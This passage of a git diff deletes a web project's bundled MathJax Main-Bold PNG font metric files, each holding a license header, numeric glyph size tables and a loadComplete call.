-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{8968:[[4,8,2],[4,9,3],[5,11,3],[6,12,3],[8,15,4],[9,18,5],[10,20,5],[12,24,6],[14,28,7],[16,33,8],[20,40,10],[23,47,12],[28,56,14],[33,67,17]],8969:[[3,7,2],[3,9,3],[3,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],[9,28,7],[11,33,8],[13,40,10],[15,47,12],[18,56,14],[21,67,17]],8970:[[4,8,2],[4,9,2],[5,11,3],[6,12,3],[8,15,4],[9,18,5],[10,20,5],[12,24,6],[14,28,7],[16,34,9],[20,40,10],[23,47,12],[28,56,14],[33,67,17]],8971:[[3,8,2],[3,9,2],[3,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],[9,28,7],[11,34,9],[13,40,10],[15,47,12],[18,56,14],[21,67,17]],8994:[[8,3,0],[9,4,0],[11,3,-1],[13,4,-1],[15,5,-1],[18,6,-1],[22,6,-2],[26,8,-2],[30,10,-2],[36,11,-3],[43,12,-4],[51,14,-5],[60,18,-5],[72,20,-7]],8995:[[8,2,-1],[10,3,-1],[11,3,-1],[13,4,-1],[16,5,-1],[19,5,-2],[22,6,-2],[26,8,-2],[31,8,-3],[36,9,-4],[43,12,-4],[51,14,-5],[61,16,-6],[72,18,-8]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscTechnical.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SpacingModLetters.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SpacingModLetters.js
deleted file mode 100644
index 1369889f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{710:[[4,2,-3],[4,2,-5],[5,2,-6],[6,2,-6],[7,3,-7],[8,4,-9],[9,4,-10],[11,5,-13],[13,5,-15],[15,6,-17],[18,7,-21],[21,9,-24],[25,10,-29],[30,12,-35]],711:[[4,1,-3],[4,2,-5],[5,2,-6],[6,2,-6],[7,3,-7],[8,3,-9],[9,4,-10],[11,4,-13],[13,5,-15],[15,6,-17],[18,6,-21],[21,7,-24],[25,9,-28],[30,10,-34]],713:[[4,1,-3],[5,1,-5],[5,1,-6],[6,1,-6],[7,1,-7],[9,2,-9],[10,3,-10],[12,2,-13],[14,2,-16],[17,3,-18],[20,3,-22],[23,4,-25],[28,4,-30],[33,5,-36]],714:[[4,2,-3],[4,2,-4],[5,3,-5],[6,3,-5],[7,3,-6],[8,4,-8],[9,5,-9],[11,5,-12],[13,6,-14],[16,7,-16],[18,9,-19],[22,10,-23],[26,12,-27],[31,14,-33]],715:[[3,2,-3],[3,2,-4],[4,3,-5],[4,3,-5],[5,3,-6],[6,4,-8],[7,5,-9],[8,5,-12],[10,6,-14],[12,7,-16],[14,9,-19],[16,10,-23],[19,12,-27],[23,14,-33]],728:[[4,2,-3],[4,2,-4],[5,2,-6],[6,2,-6],[7,3,-6],[8,4,-8],[10,4,-10],[11,5,-12],[14,6,-14],[16,7,-16],[19,8,-20],[22,9,-23],[27,11,-27],[32,13,-33]],729:[[3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[8,4,-10],[9,5,-12],[11,5,-15],[13,6,-17],[15,7,-21],[18,8,-24],[21,10,-28],[25,12,-34]],730:[[3,1,-4],[4,2,-4],[5,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[9,3,-11],[10,4,-13],[12,6,-14],[14,6,-17],[17,7,-21],[20,8,-24],[23,9,-29],[28,11,-35]],732:[[4,1,-4],[4,1,-5],[5,3,-6],[6,3,-6],[7,4,-6],[8,4,-9],[10,4,-11],[12,5,-13],[14,5,-16],[16,6,-18],[19,7,-22],[23,8,-25],[27,9,-30],[32,11,-36]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SpacingModLetters.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SuppMathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SuppMathOperators.js
deleted file mode 100644
index 6fd963d6..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{10815:[[6,5,0],[7,6,0],[9,7,0],[11,8,0],[12,10,0],[15,12,0],[17,14,0],[20,16,0],[24,19,0],[29,23,0],[34,27,0],[40,32,0],[48,38,0],[57,45,0]],10927:[[6,7,2],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,18,4],[19,22,5],[23,26,6],[27,30,7],[32,36,8],[38,43,10],[45,51,12],[53,60,14]],10928:[[6,7,2],[7,8,2],[8,9,2],[10,12,3],[11,13,3],[14,16,4],[16,18,4],[19,22,5],[22,26,6],[27,30,7],[32,36,8],[37,43,10],[44,50,11],[53,59,13]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SuppMathOperators.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SupplementalArrowsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SupplementalArrowsA.js
deleted file mode 100644
index 20b5ef37..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SupplementalArrowsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SupplementalArrowsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{10229:[[13,5,1],[15,5,0],[18,7,1],[21,7,1],[25,9,1],[29,10,1],[34,11,1],[41,13,1],[49,16,1],[58,18,1],[69,22,1],[81,25,1],[97,31,2],[115,36,2]],10230:[[13,5,1],[15,5,0],[18,7,1],[21,7,1],[25,9,1],[30,9,0],[35,11,1],[42,14,1],[49,16,1],[59,18,1],[70,22,1],[83,26,1],[98,30,1],[117,36,1]],10231:[[15,5,1],[18,5,0],[21,7,1],[25,7,1],[29,9,1],[35,10,1],[41,11,1],[48,14,1],[57,16,1],[68,18,1],[81,22,1],[96,26,1],[114,30,1],[136,36,1]],10232:[[13,5,1],[16,6,1],[18,7,1],[22,8,1],[26,9,1],[31,10,1],[36,13,1],[42,14,1],[50,18,2],[60,21,2],[71,24,2],[85,29,3],[101,34,3],[120,40,3]],10233:[[13,5,1],[15,6,1],[18,7,1],[22,8,1],[25,9,1],[30,11,1],[36,12,1],[42,14,1],[50,18,2],[60,21,2],[71,24,2],[84,28,2],[100,34,3],[119,40,3]],10234:[[15,5,1],[18,6,1],[21,7,1],[25,8,1],[29,9,1],[35,10,1],[41,13,1],[48,15,2],[57,17,2],[68,21,2],[81,24,2],[96,29,3],[114,33,3],[136,41,4]],10236:[[13,5,1],[15,5,0],[18,7,1],[21,7,1],[25,9,1],[30,9,0],[35,11,1],[41,14,1],[49,16,1],[59,18,1],[70,22,1],[82,26,1],[98,30,1],[116,36,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SupplementalArrowsA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Arrows.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Arrows.js
deleted file mode 100644
index 15cc89ce..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Arrows.js
+++ /dev/null
@@ -1,129 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Arrows.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2190: [  // LEFTWARDS ARROW
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,10,1],[22,11,1],[26,13,1],
-      [30,16,1],[36,18,1],[43,22,1],[51,25,1],[60,30,1],[72,36,2]
-    ],
-    0x2191: [  // UPWARDS ARROW
-      [5,7,2],[5,8,2],[6,9,2],[7,12,3],[9,13,3],[10,16,4],[11,18,4],[14,22,5],
-      [16,26,6],[19,30,7],[22,36,8],[27,42,9],[31,50,11],[37,59,13]
-    ],
-    0x2192: [  // RIGHTWARDS ARROW
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,10,1],[22,11,1],[26,13,1],
-      [30,16,1],[36,18,1],[43,22,1],[51,26,1],[60,30,1],[72,36,1]
-    ],
-    0x2193: [  // DOWNWARDS ARROW
-      [5,7,2],[5,8,2],[6,9,2],[7,12,3],[9,13,3],[10,16,4],[11,18,4],[14,22,5],
-      [16,26,6],[19,30,7],[22,36,8],[27,43,10],[31,50,11],[38,59,13]
-    ],
-    0x2194: [  // LEFT RIGHT ARROW
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,10,1],[21,11,1],[26,13,1],
-      [30,16,1],[36,18,1],[43,22,1],[51,25,1],[60,30,1],[71,36,2]
-    ],
-    0x2195: [  // UP DOWN ARROW
-      [5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,15,4],[10,18,5],[11,21,6],[14,25,7],
-      [16,30,8],[19,35,9],[22,42,11],[27,49,13],[31,58,15],[38,69,18]
-    ],
-    0x2196: [  // NORTH WEST ARROW
-      [8,7,2],[9,9,2],[11,10,2],[13,12,3],[15,13,3],[18,17,4],[21,19,4],[26,22,5],
-      [30,26,6],[36,31,7],[43,37,8],[51,43,9],[60,51,11],[72,61,13]
-    ],
-    0x2197: [  // NORTH EAST ARROW
-      [8,8,2],[9,9,2],[11,10,2],[13,12,3],[15,13,3],[18,17,4],[22,19,4],[26,22,5],
-      [30,26,6],[36,31,7],[43,37,8],[51,43,9],[60,52,11],[72,62,13]
-    ],
-    0x2198: [  // SOUTH EAST ARROW
-      [8,7,2],[9,9,3],[11,10,3],[13,12,3],[15,13,3],[18,16,4],[22,19,5],[26,23,6],
-      [30,27,7],[36,31,8],[43,37,9],[51,44,11],[60,52,13],[72,61,15]
-    ],
-    0x2199: [  // SOUTH WEST ARROW
-      [8,7,2],[9,9,3],[11,10,3],[13,12,3],[15,13,3],[18,16,4],[22,19,5],[26,23,6],
-      [30,26,6],[36,31,8],[43,37,9],[51,44,11],[60,52,13],[72,61,15]
-    ],
-    0x21A6: [  // RIGHTWARDS ARROW FROM BAR
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[26,14,1],
-      [30,16,1],[36,18,1],[43,22,1],[51,26,1],[60,30,1],[71,36,1]
-    ],
-    0x21A9: [  // LEFTWARDS ARROW WITH HOOK
-      [9,5,1],[10,5,0],[12,7,1],[15,7,1],[17,9,1],[21,10,1],[24,11,1],[29,13,1],
-      [34,16,1],[40,18,1],[48,22,1],[57,25,1],[68,30,1],[80,36,2]
-    ],
-    0x21AA: [  // RIGHTWARDS ARROW WITH HOOK
-      [9,5,1],[11,5,0],[12,7,1],[15,7,1],[17,9,1],[21,10,1],[24,11,1],[29,14,1],
-      [34,16,1],[40,19,1],[48,22,1],[57,26,1],[68,30,1],[80,36,1]
-    ],
-    0x21BC: [  // LEFTWARDS HARPOON WITH BARB UPWARDS
-      [8,3,-1],[9,3,-2],[11,4,-2],[13,4,-2],[15,5,-3],[18,6,-3],[22,6,-4],[26,7,-5],
-      [30,9,-6],[36,10,-7],[43,13,-8],[51,15,-10],[60,17,-12],[72,20,-14]
-    ],
-    0x21BD: [  // LEFTWARDS HARPOON WITH BARB DOWNWARDS
-      [8,3,1],[9,3,0],[11,4,1],[13,5,1],[15,5,1],[18,6,1],[22,7,1],[26,8,1],
-      [30,9,1],[36,11,1],[43,12,1],[51,15,1],[60,18,2],[72,21,2]
-    ],
-    0x21C0: [  // RIGHTWARDS HARPOON WITH BARB UPWARDS
-      [8,3,-1],[9,3,-2],[11,4,-2],[13,4,-2],[15,5,-3],[18,6,-3],[22,6,-4],[26,7,-5],
-      [30,9,-6],[36,10,-7],[43,13,-8],[51,15,-10],[60,17,-12],[72,20,-14]
-    ],
-    0x21C1: [  // RIGHTWARDS HARPOON WITH BARB DOWNWARDS
-      [8,3,1],[9,3,0],[11,4,1],[13,5,1],[15,5,1],[18,6,1],[22,7,1],[26,8,1],
-      [30,9,1],[36,11,1],[43,12,1],[51,15,1],[60,18,2],[72,21,2]
-    ],
-    0x21CC: [  // RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
-      [8,7,1],[9,6,0],[11,9,1],[13,10,1],[15,12,1],[18,13,1],[22,15,1],[26,18,1],
-      [30,21,1],[36,25,1],[43,30,1],[51,35,1],[60,42,2],[72,50,2]
-    ],
-    0x21D0: [  // LEFTWARDS DOUBLE ARROW
-      [8,5,1],[9,6,1],[11,7,1],[13,8,1],[15,9,1],[18,11,1],[22,13,1],[26,15,2],
-      [30,18,2],[36,21,2],[43,24,2],[51,29,3],[60,34,3],[72,41,4]
-    ],
-    0x21D1: [  // UPWARDS DOUBLE ARROW
-      [5,7,2],[6,8,2],[7,9,2],[8,12,3],[10,13,3],[12,16,4],[13,18,4],[16,22,5],
-      [19,26,6],[22,30,7],[26,36,8],[32,42,9],[37,50,11],[44,59,13]
-    ],
-    0x21D2: [  // RIGHTWARDS DOUBLE ARROW
-      [8,5,1],[9,6,1],[11,7,1],[13,8,1],[15,9,1],[18,11,1],[22,12,1],[26,14,1],
-      [30,18,2],[36,21,2],[43,24,2],[51,28,2],[60,34,3],[72,40,3]
-    ],
-    0x21D3: [  // DOWNWARDS DOUBLE ARROW
-      [5,7,2],[6,8,2],[7,9,2],[8,12,3],[10,13,3],[12,16,4],[14,18,4],[16,22,5],
-      [19,26,6],[23,30,7],[27,36,8],[32,43,10],[38,50,11],[45,59,13]
-    ],
-    0x21D4: [  // LEFT RIGHT DOUBLE ARROW
-      [8,5,1],[10,6,1],[11,7,1],[13,8,1],[16,9,1],[19,11,1],[22,12,1],[26,15,2],
-      [31,18,2],[37,21,2],[44,24,2],[52,29,3],[61,34,3],[73,41,4]
-    ],
-    0x21D5: [  // UP DOWN DOUBLE ARROW
-      [5,8,2],[6,10,3],[7,11,3],[8,13,4],[10,15,4],[11,18,5],[14,21,6],[16,25,7],
-      [19,30,8],[22,35,9],[27,41,11],[32,49,13],[38,58,15],[45,69,18]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Arrows.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 77d917be..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,81 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[4,3,-6],[5,4,-8],[5,5,-9],[6,5,-12],
-      [7,6,-14],[9,7,-16],[10,9,-19],[11,10,-23],[13,12,-27],[16,14,-33]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,2,-3],[3,2,-4],[3,3,-5],[3,3,-5],[4,3,-6],[5,4,-8],[5,5,-9],[6,5,-12],
-      [7,6,-14],[9,7,-16],[10,9,-19],[11,10,-23],[13,12,-27],[16,14,-33]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [4,2,-3],[3,2,-5],[4,2,-6],[5,2,-6],[6,3,-7],[6,4,-9],[7,4,-10],[9,5,-13],
-      [10,5,-15],[11,6,-17],[14,7,-21],[16,9,-24],[18,10,-29],[22,12,-35]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-4],[4,1,-5],[5,3,-6],[5,3,-6],[6,4,-6],[7,4,-9],[9,4,-11],[10,5,-13],
-      [12,5,-16],[13,6,-18],[16,7,-22],[19,8,-25],[22,9,-30],[26,11,-36]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[5,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,2,-9],[9,3,-10],[11,2,-13],
-      [12,2,-16],[15,3,-18],[17,3,-22],[20,4,-25],[24,4,-30],[28,5,-36]
-    ],
-    0x306: [  // COMBINING BREVE
-      [4,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,5,-12],
-      [12,6,-14],[13,7,-16],[15,8,-20],[18,9,-23],[22,11,-27],[26,13,-33]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,2,-3],[3,2,-4],[3,2,-6],[3,2,-6],[4,3,-6],[4,3,-9],[5,4,-10],[5,5,-12],
-      [6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[10,10,-28],[12,12,-34]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [4,2,-3],[4,2,-4],[5,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[9,4,-10],[10,4,-13],
-      [12,5,-15],[13,6,-17],[16,7,-21],[19,8,-24],[22,9,-29],[26,11,-35]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [2,1,-4],[3,2,-4],[4,2,-6],[4,2,-6],[4,2,-7],[5,3,-9],[6,3,-11],[7,4,-13],
-      [8,6,-14],[9,6,-17],[11,7,-21],[13,8,-24],[15,9,-29],[18,11,-35]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [4,2,-3],[4,2,-4],[5,3,-5],[6,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,5,-12],
-      [11,6,-14],[13,7,-17],[15,9,-19],[18,10,-23],[21,12,-27],[25,14,-33]
-    ],
-    0x30C: [  // COMBINING CARON
-      [4,1,-3],[3,2,-5],[4,2,-6],[5,2,-6],[6,3,-7],[6,3,-9],[7,4,-10],[8,4,-13],
-      [10,5,-15],[11,6,-17],[13,6,-21],[15,7,-24],[18,9,-28],[22,10,-34]
-    ],
-    0x338: [  // COMBINING LONG SOLIDUS OVERLAY
-      [5,6,1],[6,8,2],[7,10,2],[8,10,2],[9,12,3],[11,15,3],[12,18,4],[15,22,5],
-      [17,26,6],[20,31,6],[23,37,8],[28,43,9],[33,51,12],[39,61,14]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/CombDiactForSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/CombDiactForSymbols.js
deleted file mode 100644
index 495ab4fc..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/CombDiactForSymbols.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiactForSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x20D7: [  // COMBINING RIGHT ARROW ABOVE
-      [4,2,-3],[5,3,-4],[6,3,-5],[7,3,-6],[8,3,-7],[9,5,-8],[11,5,-10],[13,6,-11],
-      [15,6,-14],[17,8,-16],[21,9,-20],[25,11,-23],[29,13,-28],[34,15,-33]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiactForSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GeneralPunctuation.js
deleted file mode 100644
index fe4e296f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GeneralPunctuation.js
+++ /dev/null
@@ -1,101 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeneralPunctuation.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2002: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2003: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2004: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2005: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2006: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2009: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x200A: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[6,1,-3],[7,1,-3],[8,1,-3],[10,1,-4],[12,2,-4],[14,3,-5],
-      [16,3,-6],[19,2,-8],[23,3,-10],[27,3,-12],[32,3,-14],[38,4,-17]
-    ],
-    0x2014: [  // EM DASH
-      [8,1,-1],[10,1,-2],[12,1,-3],[14,1,-3],[16,1,-3],[20,1,-4],[23,2,-4],[27,3,-5],
-      [32,3,-6],[38,2,-8],[45,3,-10],[54,3,-12],[64,3,-14],[76,4,-17]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,3,-2],[3,3,-3],[3,4,-4],[3,4,-4],[4,5,-4],[5,7,-5],[5,8,-6],[6,9,-8],
-      [7,11,-9],[9,12,-11],[10,15,-13],[12,17,-15],[14,20,-18],[17,25,-21]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,3,-2],[3,4,-2],[3,4,-4],[4,4,-4],[4,5,-4],[5,7,-5],[6,8,-6],[7,9,-8],
-      [8,11,-9],[9,13,-10],[11,15,-13],[13,17,-15],[15,20,-18],[18,25,-21]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [4,3,-2],[5,3,-3],[6,4,-4],[7,4,-4],[8,5,-4],[10,7,-5],[11,8,-6],[14,9,-8],
-      [16,11,-9],[19,12,-11],[23,15,-13],[27,17,-15],[32,20,-18],[38,25,-21]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [4,3,-2],[5,4,-2],[5,4,-4],[6,4,-4],[7,5,-4],[9,7,-5],[10,8,-6],[12,9,-8],
-      [14,11,-9],[17,13,-10],[20,15,-13],[23,17,-15],[28,20,-18],[33,25,-21]
-    ],
-    0x2020: [  // DAGGER
-      [4,6,1],[4,8,2],[5,10,2],[6,10,2],[7,12,3],[8,15,3],[9,18,4],[11,22,5],
-      [13,26,6],[15,29,6],[18,36,8],[21,41,9],[25,49,11],[30,61,14]
-    ],
-    0x2021: [  // DOUBLE DAGGER
-      [4,6,1],[4,8,2],[5,10,2],[6,10,2],[7,12,3],[8,15,3],[9,18,4],[11,22,5],
-      [13,26,6],[15,29,6],[18,36,8],[21,41,9],[25,49,11],[29,59,13]
-    ],
-    0x2026: [  // HORIZONTAL ELLIPSIS
-      [9,2,0],[11,2,0],[12,2,0],[15,2,0],[17,3,0],[21,4,0],[24,4,0],[29,5,0],
-      [34,5,0],[41,6,0],[48,7,0],[57,8,0],[68,10,0],[81,12,0]
-    ],
-    0x2032: [  // PRIME
-      [3,4,0],[3,5,0],[4,6,0],[4,6,0],[5,7,0],[6,10,-1],[7,11,-1],[8,13,-1],
-      [10,15,-1],[11,18,-1],[13,21,-1],[16,25,-2],[19,30,-2],[22,35,-2]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeneralPunctuation.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GeometricShapes.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GeometricShapes.js
